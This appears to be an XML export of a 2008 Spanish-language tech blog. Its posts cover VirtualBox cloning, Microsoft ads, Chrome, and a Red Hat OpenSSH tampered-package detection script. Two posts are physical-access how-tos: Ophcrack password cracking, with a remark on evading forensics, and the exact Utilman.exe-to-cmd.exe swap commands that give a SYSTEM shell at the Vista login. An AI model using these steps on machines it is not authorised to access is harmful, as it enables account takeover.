0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%

C:\Program Files\Sun\xVM VirtualBox&gt;
&lt;/small&gt;

Cuando el proceso corra maracara en % de avance el porcentaje y cuando termine tu copia estara hecha en ese momento solo debes agregarlo como un disco virtual adicional en tu ventana de virtual box.

Archivo &gt;&gt; Manejador de discos virtuales.

Lo que hice fue hacer un script .bat donde tengo declaradas el path del programa VBoxManage.

&lt;small&gt;
"C:\Program Files\Sun\xVM VirtualBox"\VBoxManage.exe clonevdi \ 
"C:\Documents and Settings\Dino\.VirtualBox\VDI\WindowsVista.vdi" \
"C:\Documents and Settings\Dino\.VirtualBox\VDI\WindowsVistaWSS.vdi"
&lt;/small&gt;

Si si ya se que se puede hacer un script mas elegante con las variables de ambiente de los paths... pero es un script rapido para que veas por donde va la movida.

Salu2 Din00z

&lt;b&gt; 2 de Octubre / 2008 , No se Olvida &lt;/b&gt;

</motd>
    <nombre>Como clonar una maquina virtual hecha con VirtualBox</nombre>
    <permalink>virtualbox_clon</permalink>
    <picurl>http://paginas.nicomoayudarte.com/VirtualBox.jpg</picurl>
    <updated-at type="datetime">2008-10-04T13:50:03-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Recientemente estoy trabajando en un proyecto de implementacion de MS-Sharepoint. Con el fin de optimizar el Directorio Activo es posible instalar el "Windows Server 2003 Administration Tools Pack" para activar las funciones de administracion en un servidor normal. Esto fue interesante porque me permitio como un usuario normal exportar toda la lista del Directorio Activo desde mi maquina.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-09-23T08:59:49-04:00</created-at>
    <id type="integer">7</id>
    <links>http://www.microsoft.com/downloads/details.aspx?FamilyID=c16ae515-c8f4-47ef-a1e4-a8dcbacff8e3&amp;displaylang=en</links>
    <motd>El URL para bajar "Windows Server 2003 Administration Tools Pack" esta aqui: &lt;br&gt;
&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=c16ae515-c8f4-47ef-a1e4-a8dcbacff8e3&amp;displaylang=en"&gt;http://www.microsoft.com/downloads/details.aspx?FamilyID=c16ae515-c8f4-47ef-a1e4-a8dcbacff8e3&amp;displaylang=en&lt;/a&gt; &lt;br&gt;

Usando un script de Perl me fue facil generar un CSV a partir de los datos exportados de la lista, notese que esto no representa ningun problema de seguridad en cuanto al Directorio Activo se refiere, sin embargo si pone en evidencia todos los usuarios, grupos y cuentas especiales que existen.</motd>
    <nombre>Herramientas de Administracion del Servidor Windows 2003 para XP !!!</nombre>
    <permalink>ws2003_admon_tools_pack</permalink>
    <picurl>http://paginas.nicomoayudarte.com/windows_vista.png</picurl>
    <updated-at type="datetime">2008-09-23T09:00:38-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Pues resulta que cancelaron los comerciales con el comediante, no me sorprende nada.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-09-19T14:44:37-04:00</created-at>
    <id type="integer">6</id>
    <links>http://fedora.redhat.com
http://www.apple.com
http://www.microsoft.com</links>
    <motd>Aqui esta la siguiente serie de comerciales donde comienzan tomado la originalidad de los comerciales de Mac y aparentemente muestran que el 90% del mercado y todos los usuarios son usuarios de PC.

&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/hi1se9rH7S8&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/hi1se9rH7S8&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;

Estos comerciales se me hacen mejores que los primeros tres porque realmente hacen llegar su punto acerca de la mayoria de escritorios.

&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/MSiSIzXKMXw&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/MSiSIzXKMXw&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;

Aun cuando mas del 90% de las computadoras a nivel mundial utilicen el sistema operativo windows es inevitable reconocer el impacto y presencia que Apple con su OSX basado en el Unix FreeBSD sea muy robusto, particularmente sigo siendo feliz con mi Fedora Linux =)</motd>
    <nombre>Comerciales Microsoft para competir con los comerciales de Mac II.</nombre>
    <permalink>i_am_a_pc</permalink>
    <picurl>http://paginas.nicomoayudarte.com/windows_vista.png</picurl>
    <updated-at type="datetime">2008-10-05T20:09:05-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Si piensas que el hecho de que tecleas un password en windows XP y/o windows Vista es seguro, lamento decir que estas equivocado. Alguna vez en un curso de Cisco, me dijeron si tienes acceso fisico al enrutador puedes accesar a el.

Para muestra un boton con la distribucion del Live CD de Linux OPH aqui esta el dato donde muestran como usarlo para determinar los password de las cuentas de windows sin ningun problema, aun usando passwords de 12 caracteres el metodo es muy rapido y no toma mas de 4 min. en un cpu moderno.</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-09-09T18:19:00-04:00</created-at>
    <id type="integer">5</id>
    <links>http://ophcrack.sourceforge.net</links>
    <motd>Lo mismo pasa con los servidores y la importancia de considerar la seguridad fisica en los sites de comunicaciones y centros de computo. Sin mas preambulo aqui esta Ophcrack es una distribucion de Linux que corre desde el CD. Puedes bajar la imagen quemar tu CD y no necesitas instalarla ni mucho menos.

El CD Arrancara y encontrara el password de las cuentas que se encuentran en tu computadora, existe una distribucion para windows XP y otra para Vista.

&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/LsViUCygQ3A&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/LsViUCygQ3A&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;

El Ophcrack esta basado en el algoritmo de Tablas de Acoiris.  Hace ya algun tiempo habia usado una distribucion de Windows que es un cd que arranca en windows y lo que hace es que sobre-escribe el password de administrador de Windows. Este metodo se me hace mejor ya que no hace absolutamente nada al sitemas de archivos.

En caso de analisis forense en caso de alguna intromision cibernetica lo unico que se veria seria que el servidor estubo abajo por un periodo de 4 minutos. Si vives en algun lugar donde la luz se vaya frecuentemente puedes ser valido pero si tu server se encuentra en algun centro de computo, pues Ni Como Ayudarte.




</motd>
    <nombre>Si crees que windows es seguro, checate como encontrar el password de administrador de windows con Linux OPH</nombre>
    <permalink>ophcrack</permalink>
    <picurl>http://ophcrack.sourceforge.net/logo.png</picurl>
    <updated-at type="datetime">2008-09-09T23:08:59-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Todos sabemos la popularidad que han obtenido los comerciales de Mac. Bueno resulta que Microsoft decidio que invirtiendo unos 200 millones de dolares puede crear comerciales que compitan con el humor y publicidad que esta logrando Mac.

El exito de estos comerciales no creo que sea exclusivamente en satirizar las bondades que los dos sistemas operativos ofrecen, creo que el exito esta en el hecho de mostrar y exponer que es lo que realmente debe ser la experiencia al trabajar con nuestra computadora.
</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-09-07T22:36:25-04:00</created-at>
    <id type="integer">4</id>
    <links>http://www.apple.com/getamac/ads/</links>
    <motd>Mac OSX Trabaja con el Kernel de BSD, contrataron al desarrollador del proyecto FreeBSD, y personalmente creo que ha hecho un excelente trabajo con la distribucion. Muchas veces me pregunto cuando me integrare a la familia Mac, ya que la mayoria de nosotro siendo personas PC, solo algunos de nosotros siendo Linuxeros, quizas cuando decidan sacar al mercado una version del Mac OSX para i386, en ese momento Apple dejaria de ser una empresa de Hardware y Software integrada.

En fin aqui esta la liga del Video que esta inundando los comerciales, particularmente no entiendo exactamente cual es el mensaje la siguiente version de Windows porque Vista de plano se ve que la levante, quizas Windows 7.  

&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/XM9R796PyD8&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/XM9R796PyD8&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;

Creo que cuando vi este video ma paso como cuando vi las peliculas de Matrix, sali del cine y me pregunte y que paso entonces ???

Aqui esta una secuela de los comerciales de Microsoft, que ayer Sep 25 / 2008 Me entere que cancelaron el contrato y que bueno, porque realmente por lo que costarian no valian la pena. !!!

http://www.youtube.com/watch?v=gBWPf1BWtkw
&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/gBWPf1BWtkw&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/gBWPf1BWtkw&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;




</motd>
    <nombre>Comerciales Microsoft para competir con los comerciales de Mac.</nombre>
    <permalink>comercial_microsoft</permalink>
    <picurl>http://paginas.nicomoayudarte.com/windows_vista.png</picurl>
    <updated-at type="datetime">2008-09-19T14:41:39-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Este nuevo navegador lo puedes descargar del sitio: http://www.google.com/chrome. Tiene mucha similirades con Firefox y Opera, pero lo que hace que destaque es la simplicidad de su interfaz.

</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-09-03T13:41:36-04:00</created-at>
    <id type="integer">3</id>
    <links>http://www.google.com/chrome</links>
    <motd>Aqui esta una foto de como se ve el navegador en accion.

&lt;img src="http://www.google.com/chrome/intl/en/images/dlpage_lg.jpg" border="0"&gt;

</motd>
    <nombre>Google lanza su propio navegador de Internet llamado "Chrome"</nombre>
    <permalink>google_chrome</permalink>
    <picurl>http://www.google.com/chrome/intl/en/images/logo_sm.jpg</picurl>
    <updated-at type="datetime">2008-09-03T13:43:53-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>RedHat reporta que sus servidores fueron accesados ilegalmente, ya fueron retirados para un analisis forense. Aqui esta la liga original.

https://www.redhat.com/archives/fedora-announce-list/2008-August/msg00012.html

Aqui esta el archivo para que lo bajes... &lt;a href="http://paginas.nicomoayudarte.com/openssh-blacklist-1.0.sh"&gt;openssh-blacklist-1.0.sh&lt;/a&gt;</body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-08-25T19:37:35-04:00</created-at>
    <id type="integer">2</id>
    <links>http://www.redhat.com
http://fedora.redhat.com
https://www.redhat.com/archives/fedora-announce-list/2008-August/msg00012.html</links>
    <motd>Aqui esta el contenido del script por si estas interesado....

#!/bin/bash
#          #############################################
#            openssh tampered package detection script 
#          #############################################
#
#                                        Red Hat, Inc.   August, 2008
#
# This script can be executed to detect whether a package on the local
# system matches one of the tampered OpenSSH packages which were
# signed using the Red Hat signing key.
#
# Please see https://www.redhat.com/security/data/openssh-blacklist.html
#
# This bash script can be executed as a non-root user, or as root.  To
# execute the script after downloading it, run the command:
#
#     $ bash ./openssh-blacklist-1.0.sh
#
# If the script output includes any lines beginning with "ALERT" then
# a malicious package has been found on the system.  Otherwise, if no
# suspect packages were found, the script should produce only a single
# line of output beginning with the word "PASS".
#
# Alternatively, the script can be passed a list of RPM filenames:
#
#     $ bash ./openssh-blacklist-1.0.sh some.i386.rpm other.src.rpm
#
# the signature of each RPM (binary or source) will be checked against
# the blacklist and a "PASS" or "ALERT" message issued accordingly.
#
# The signed tampered packages were:
#
# openssh-3.9p1-8.RHEL4.24 for i386, x86_64 architecture
# openssh-3.9p1-9.el4 for i386, x86_64 architecture
# openssh-4.3p2-26 for x86_64 architecture
# openssh-4.3p2-26.el5 for x86_64 architecture
#
### Ends.

export LANG=C
unset LC_MESSAGES LC_CTYPE

# List of package and subpackage names affected:
packages=(
    openssh openssh-askpass openssh-askpass-gnome openssh-clients
    openssh-debuginfo openssh-server
)

# List of the SIGMD5 hashes of tampered packages (the SIGMD5 hash uniquely identifies a 
# particular package)
sigmd5s=(
    00b6c24146eb6222ec58342841ee31b1 021d1401b2882d864037da406e7b3bd1
    035253874639a1ebf3291189f027a561 08daefebf2a511852c88ed788717a148
    177b1013dc0692c16e69c5c779b74fcf 24c67508c480e25b2d8b02c75818efad
    27ed27c7eac779f43e7d69378a20034f 2a2f907c8d6961cc8bfbc146970c37e2
    2b0a85e1211ba739904654a7c64a4c90 2df270976cbbbbb05dbdf95473914241
    2ff426e48190519b1710ed23a379bbee 322cddd04ee5b7b8833615d3fbbcf553
    35b050b131dab0853f11111b5afca8b3 38f67a6ce63853ad337614dbd760b0db
    3b9e24c54dddfd1f54e33c6cdc90f45c 3fa1a1b446feb337fd7f4a7938a6385f
    41741fe3c73d919c3758bf78efc437c9 432b94026da05d6b11604a00856a17b2
    54bd06ebf5125debe0932b2f1f5f1c39 57f7e73ee28ba0cbbaad1a0a63388e4c
    59ad9703362991d8eff9d138351b37ac 71ef43e0d9bfdfada39b4cb778b69959
    760040ec4db1d16e878016489703ec6d 89892d38e3ccf667e7de545ea04fa05b
    8a65c4e7b8cd7e11b9f05264ed4c377b 8bf3baa4ffec125206c3ff308027a0c4
    982cd133ba95f2db580c67b3ff27cfde 990d27b6140d960ad1efd1edd5ec6898
    9bef2d9c4c581996129bd9d4b82faafa 9c90432084937eac6da3d5266d284207
    a1dea643f8b0bda52e3b6cad3f7c5eb6 b54197ff333a2c21d0ca3a5713300071
    b92ccd4cbd68b3d3cefccee3ed9b612c bb1905f7994937825cb9693ec175d4d5
    bc6b8b246be3f3f0a25dd8333ad3456b c0aff0b45ee7103de53348fcbedaf72e
    c7d520faab2673b66a13e58e0346021d ce97e8c02c146c8b1075aad1550b1554
    d19ae2199662e90ec897c8f753816ee0 de61e6e1afd2ca32679ff78a2c3a0767
    dfbc24a871599af214cd7ef72e3ef867 f68d010c6e54f3f8a973583339588262
    fc814c0e28b674da8afcfbdeecd1e18e 
)

# Set up MD5_xxx=1 for each bogus sigmd5, using the environment as a
# convenient hash table:
for md5 in ${sigmd5s[*]}; do
    eval MD5_${md5}=1
done

retval=0

# If any arguments given, treat as a list of package files to check:
if [ $# -ge 1 ]; then
    # First determine whether RPM knows --nosignature/manifest, to
    # avoid unnecessary warnings on stderr and parsing of non-RPM
    # files as manifest lists.
    if rpm --help | grep -q -- --nomanifest; then
	RPM="rpm --nosignature --nomanifest"
    elif rpm --help | grep -q -- --nosignature; then
	RPM="rpm --nosignature"
    else
	RPM="rpm"
    fi
    for pkg; do	
        # Check whether the package's sigmd5 matches one of the known bad signatures:
	md5=`$RPM --qf "%{SIGMD5}" -qp "${pkg}"`
	if test $? -ne 0; then
	    echo "WARNING: could not determine signature for package \"$pkg\""
	    continue
        fi
	eval match=\${MD5_${md5}:-0}
	if test ${match} -eq 1; then
	    echo "ALERT: package \"$pkg\" has bad signature ${md5}"
	    retval=1
	else
	    echo "PASS: signature of package \"$pkg\" not on blacklist"
	fi
    done
else
    # Otherwise, check each package on the default list:
    for md5 in `rpm -q --qf "%{SIGMD5}\n" ${packages[*]} | grep -v 'not installed'`; do
        # Check whether the package's sigmd5 matches one of the known bad signatures:
        eval match=\${MD5_${md5}:-0}
        if test ${match} -eq 1; then
            # And give a warning if it does:
	    package=`rpm -q --qf "%{NAME} %{SIGMD5}\n" ${packages[*]} | grep ${md5}`
	    echo "ALERT: suspect package ${package// */} found with bad signature ${md5}"
	    retval=1
	fi
    done

    if test ${retval} -eq 0; then
	echo "PASS: no suspect packages were found on this system"
    fi
fi

exit ${retval}</motd>
    <nombre>Servidores de RedHat / Fedora comprometidos...</nombre>
    <permalink>redhat_security_08_08</permalink>
    <picurl>http://paginas.nicomoayudarte.com/fedora_01_red.png</picurl>
    <updated-at type="datetime">2008-09-01T19:11:06-04:00</updated-at>
  </post>
  <post>
    <active type="boolean">true</active>
    <body>Recientemente encontre una liga impresionante donde el Sistema Operativo Windows Vista puede ser comprometido en cuestion de minutos. Es posible tambien hacerlo con un disco de Windows 95 ya que podra escribir la particion de windows sin destruirla.

"Si tienes accesso fisico al equipo, tu seguridad automaticamente se hace vulnerable y es muy posible puedas comprometer el sistema en cuestion" </body>
    <comentario-count type="integer">0</comentario-count>
    <created-at type="datetime">2008-08-12T22:30:44-04:00</created-at>
    <id type="integer">1</id>
    <links>&lt;a href="http://www.offensive-security.com/movies/vistahack/vistahack.html" target="new"&gt;http://www.offensive-security.com/movies/vistahack/vistahack.html&lt;/a&gt;</links>
    <motd>La Distribucion de Linux Backtrack es una version de Linux que permite montar y escribir una particion de Windows sin destruirla:

&lt;b&gt;
cd /mnt
ls
cd sda
cd Windows/System32/
mv Utilman.exe Utilman.old
cp cmd.exe Utilman.exe
reboot
&lt;/b&gt;

Lo que se hace es remplazar el archivo Utilman.exe con cmd.exe y despues inician Windows Vista de forma regular.

En el login de Vista invocamos el "Utility Manager" presionando las teclas:
&lt;b&gt; Windows_Key + U &lt;/b&gt;

Esto abrira una ventana de MS-DOS en C:\windows\system32

&lt;b&gt;
whoami
nt authority\system
explorer
&lt;/b&gt;

El menu de windows aparecera en tu pantalla sin haberte logeado a Windows Vista y como vimos esta siendo ejecutado con los privilegios mas altos del sistema.

Este grupo de &lt;b&gt;www.offensive-security.com&lt;/b&gt; va a platicar de su descubrimiento en la conferencia de Las Vegas "DEFCON". Recientemente mi executivo de cuenta DELL Latinoamerica me pudo confirmar el hack usando un disco de MS-DOS.

Cabe resaltar que este comportamiento se puede deshabilitar pero esta activado por default en Vista sin SP1.</motd>
    <nombre>Como comprometer la seguridad de Windows Vista en 5 minutos...</nombre>
    <permalink>vista_hack</permalink>
    <picurl>http://paginas.nicomoayudarte.com/windows_vista.png</picurl>
    <updated-at type="datetime">2008-09-01T19:12:05-04:00</updated-at>
  </post>
</posts>
